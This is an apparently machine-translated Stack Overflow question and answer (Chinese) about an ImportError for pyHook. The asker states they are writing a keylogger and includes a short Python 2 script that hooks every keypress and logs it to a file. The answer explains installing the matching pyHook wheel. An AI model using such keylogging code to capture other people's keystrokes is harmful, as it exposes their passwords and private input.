我尝试过安装PyHook,但仍然会遇到错误:
ImportError:没有名为‘py钩子’的模块
请给我一个解决办法。我如何解决这个错误。
我在做一个关键记录器程序。
**code:**
import pythoncom, pyHook, sys, logging
LOG_FILENAME = 'YOURNAME-keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()发布于 2016-08-10 18:37:07
首先,只需检查您正在运行的python版本,在我的例子中,当我输入python时,我会看到:
Python2.7.11 (v2.7.11:6d1b6a68f775,2015年12月5日,20:40:30)
这意味着我需要安装python2.7的64位版本,最简单的方法是下载本网站提供的py钩子包,然后将其保存在您的虚拟目录(如果您正在使用)或您的python文件夹中。然后打开命令提示符,转到下载包的路径,只需键入pip install the_name_of_your_package.whl,例如,如果您运行python2.764位,您可以键入:
pip安装pyHook-1.5.1-cp27-无-win_amd64.whl
一旦安装正确,您的脚本就可以正常工作了。
发布于 2016-08-10 18:42:01
https://stackoverflow.com/questions/38880842
复制相似问题